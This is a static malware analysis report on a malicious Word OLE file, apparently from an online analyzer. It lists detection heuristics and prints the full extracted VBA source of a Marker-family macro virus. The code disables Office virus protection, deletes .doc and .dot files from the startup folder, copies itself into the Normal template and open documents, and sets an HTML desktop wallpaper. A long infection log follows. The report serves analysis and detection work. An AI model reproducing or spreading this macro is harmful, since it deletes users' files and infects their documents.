Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ca6471f6ccd3f1aa…

MALICIOUS

Office (OLE)

70.0 KB Created: 2013-08-09 10:10:00 Authoring application: Microsoft Office Word First seen: 2014-01-03
MD5: 3f4ddb0e98d20721121f214d236a6aa4 SHA-1: 82ad7daa2ffe7a0fd66dd45fb57c3cc686c82d76 SHA-256: ca6471f6ccd3f1aa8efa7d7386555148c769c7445ca20323ca6f9bb9fc8160d2
210 Risk Score

Heuristics 5

  • ClamAV: Doc.Trojan.Marker-35 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-35
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13112 bytes
SHA-256: 2a142c60cccfba13e8ef28f9e8448a6cc767c90add566e4c8e0f514fa95329e2
Detection
ClamAV: Doc.Trojan.Marker-13
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


'Seline, Where are you dear
Const Marker = "<- this is a marker! by jonhehehe TheBest-versi212x"
Private Sub Document_Open()
Document_Close
End Sub
Private Sub Document_Close()
Dim nmod As Object
Dim isd As String
Dim DS, NTS, DI, NTI As Boolean
Dim Jon, Users, LogData, LogFile As String
On Error Resume Next
AddIns.Unload True
Kill Options.DefaultFilePath(8) & "\*.doc"
Kill Options.DefaultFilePath(8) & "\*.dot"
Options.VirusProtection = False
Application.UserName = "JonMMx 2000"
Application.UserInitials = "MeMeX"
Application.UserAddress = "JonMMx2000@yahoo.com"
Application.EnableCancelKey = wdCancelDisabled
GoSub InsertIon
If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", _
   "LogData in") = False) Then GoSub LoggingIn
If Weekday(Now()) = 1 Then GoSub ShowMe
GoTo Finish
InsertIon:
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DI = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NTI = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
If (DI Xor NTI) And (ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate) Then
 If DI Then
   NTS = NormalTemplate.Saved
   Jon = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
   For i = 1 To Len(Application.UserAddress)
    If (Mid(Application.UserAddress, i, 1) <> Chr(13)) Then
       If (Mid(Application.UserAddress, i, 1) <> Chr(10)) Then
          Users = Users & Mid(Application.UserAddress, i, 1)
       End If
    Else
       Users = Users & Chr(13) & " '"
    End If
   Next
   Jon = Jon & Chr(13) & _
         "' " & Format(Time, "hh:mm:sc AMPM-") & _
                Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
         "' " & Application.UserName & Chr(13) & _
         "' " & Users & Chr(13) & Chr(13) & " "
   nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
   nt.CodeModule.AddFromString Jon
   If NTS Then NormalTemplate.Save
 End If
 If NTI Then
    DS = ActiveDocument.Saved
    Jon = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString Jon
    If DS Then ActiveDocument.Save
 End If
End If
Return
LoggingIn:
   System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogData in") = True
   GoSub ShowMe
Return
ShowMe:
Dim RootsyS As String
On Error Resume Next
 RootsyS = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot")
 Open RootsyS & "\Jon.html" For Output As #1
 Print #1, "<Html><head><title>Welcome to Destroyer of the last Manillenium JontheBEST</title></head><Body><body bgcolor = '#FFF212' >"
 Print #1, "<center><p align='center'><font color='#800000'size='25'><strong>a Poet For My Dear Love</strong></font></p>"
 Print #1, "<p align='center'><font color='#000000' size='6'><strong><a href='mailto:iamwaiting@yahoo.com'>Dear Iin</a></strong></font> </p>"
 Print #1, "<font normal></center>To the very best that happen in mylife<p>"
 Print #1, "<p>Long ago and in my mind, I can see your face lonely and lost in time "
 Print #1, "<p>You were gone since yester month But the memories, never would dissapear"
 Print #1, "<p>I think of you, I THINK OF YOU.<p>"
 Print #1, "<p>Yes it's true I can pretend. But the paint of blue, keep beat me till the end."
 Print #1, "<p>Yes it's hard to understand. Why you leaving me and all we dreaming on "
 Print #1, "<p>Dear Iin, I close my eyes and see your face.  That's all I have to do to be with you. "
 Print #1, "<p>Dear Iin, altough I can not touch your face.  I know what I can do to be with you "
 Print #1, "<p>Long ago so faraway. But the light of blue, still living with me today."
 Print #1, "<p>You were gone since yester month.  But the memories never would dissapear."
 Print #1, "<center><font color='#245505' size='6'><strong><p>Speed Hari</strong></font></center></Body></html>"
 Close #1
 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\General", "Wallpaper") = RootsyS & "\Jon.html"
Return
Finish:
End Sub
'Logfile -->

' 06:14:2518:14:25 -Kamis, 22 Jul 1999
' JonMMx 2000
' jonthebest@hotbot.com


' 09:07:259:07:25 -Sabtu, 24 Jun 2017
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:13:3712:13:37 AM AM-Saturday, 14 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:55:459:55:45 AM AM-Wednesday, 25 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:03:2112:03:21 PM PM-Friday, 27 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:47:402:47:40 PM PM-Sunday, 29 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:37:562:37:56 AM AM-Monday, 30 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:29:4310:29:43 PM PM-Wednesday, 1 Sep 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:28:249:28:24 AM AM-Sunday, 5 Sep 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:17:912:17:09 PM PM-Monday, 13 Sep 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:48:159:48:15 AM AM-Sunday, 26 Sep 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:34:5808:34:58 -Wednesday, 6 Oct 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:09:535:09:53 PM PM-Monday, 18 Oct 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:55:3110:55:31 AM AM-Wednesday, 20 Oct 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:57:5211:57:52 AM AM-Saturday, 6 Nov 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:51:302:51:03 PM PM-Monday, 29 Nov 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:24:1411:24:14 AM AM-Tuesday, 11 Jan 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:57:3103:57:31 PM PM-Thursday, 13 Jan 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:26:2203:26:22 下午 下午-Thursday, 17 Feb 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:55:178:55:17  AM-Tuesday, 21 Mar 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:15:509:15:50 AM-Thursday, 30 Mar 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:43:1910:43:19  AM-Monday, 22 May 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:36:388:36:38  AM-Wednesday, 31 May 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:33:210:33:02  AM-Saturday, 17 Jun 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:45:4612:45:46  PM-Wednesday, 26 Jul 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:12:4714:12:47 PM-Tuesday, 26 Sep 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:07:2715:07:27  PM-Tuesday, 14 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 07:04:3319:04:33  PM-Thursday, 16 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 06:29:1818:29:18  PM-Wednesday, 22 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:26:2310:26:23  AM-Saturday, 25 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 07:08:527:08:52  AM-Sunday, 26 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:15:508:15:50  AM-Friday, 22 Dec 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:50:158:50:15  AM-Wednesday, 7 Feb 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:36:59:36:05  AM-Thursday, 8 Feb 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:35:3403:35:34 下午 下午-Saturday, 24 Feb 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:43:1212:43:12 下午 下午-Saturday, 17 Mar 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:40:5910:40:59 上午 上午-Wednesday, 18 Apr 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:51:5702:51:57 下午 下午-Friday, 20 Apr 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 01:30:5801:30:58 下午 下午-Tuesday, 22 May 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:18:5812:18:58 下午 下午-Saturday, 16 Jun 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:16:722:16:07 下午-Sunday, 27 Feb 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:02:1515:02:15 下午-Wednesday, 9 Mar 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:54:2517:54:25 下午-Thursday, 17 Mar 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:37:1015:37:10 下午-Tuesday, 29 Mar 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:53:5917:53:59 下午-Thursday, 14 Apr 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:21:3214:21:32 下午-Friday, 13 May 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:49:529:49:52 上午-Tuesday, 28 Jun 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:48:158:48:15 上午-Friday, 15 Jul 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:22:2811:22:28 上午-Tuesday, 20 Sep 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:20:3420:20:34 下午-Thursday, 13 Oct 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:06:317:06:03 下午-Wednesday, 19 Oct 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:53:2209:53:22 上午-Tuesday, 6 Dec 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:44:5611:44:56 上午-Tuesday, 6 Dec 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 04:34:5916:34:59 下午-Tuesday, 6 Dec 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:41:1710:41:17 上午-Wednesday, 8 Aug 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:41:5111:41:51 上午-Thursday, 9 Aug 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:16:4317:16:43 PM-Friday, 10 Aug 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 07:12:1719:12:17 下午-Tuesday, 14 Aug 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:12:39:12:03 AM-Monday, 3 Sep 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:04:5815:04:58 下午-Tuesday, 4 Sep 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:17:4617:17:46 下午-Thursday, 13 Sep 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:38:2915:38:29 下午-Thursday, 20 Sep 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:31:3310:31:33 上午-Wednesday, 26 Sep 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:38:2115:38:21 下午-Thursday, 11 Oct 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:13:4610:13:46 上午-Monday, 15 Oct 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 01:49:5613:49:56 下午-Saturday, 27 Oct 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:09:509:09:05 上午-Thursday, 6 Dec 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:25:2508:25:25 上午-Friday, 4 Jan 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 01:45:213:45:02 下午-Monday, 14 Jan 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:11:3015:11:30 下午-Friday, 18 Jan 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 04:36:016:36:00 下午-Monday, 28 Jan 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 07:58:167:58:16 上午-Monday, 18 Feb 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:01:339:01:33 上午-Tuesday, 5 Mar 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:03:2217:03:22 下午-Tuesday, 26 Mar 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:32:4614:32:46 下午-Tuesday, 2 Apr 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 01:55:4013:55:40 下午-Wednesday, 17 Apr 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:45:509:45:50 上午-Tuesday, 23 Apr 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 01:38:5013:38:50 下午-Sunday, 28 Apr 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:16:258:16:25 上午-Saturday, 4 May 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:56:5510:56:55 上午-Monday, 13 May 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:23:1511:23:15 上午-Thursday, 20 Jun 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:06:309:06:03 上午-Tuesday, 25 Jun 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 07:16:2519:16:25 下午-Saturday, 29 Jun 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:13:114:13:01 下午-Saturday, 6 Jul 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:24:1910:24:19 上午-Tuesday, 9 Jul 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:44:538:44:53 上午-Wednesday, 10 Jul 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:11:5610:11:56 上午-Wednesday, 17 Jul 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:24:68:24:06 上午-Thursday, 18 Jul 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:20:4317:20:43 下午-Monday, 22 Jul 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:00:3311:00:33 AM-Monday, 21 Oct 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

Open this report in the interactive analyzer, or submit your own file for analysis.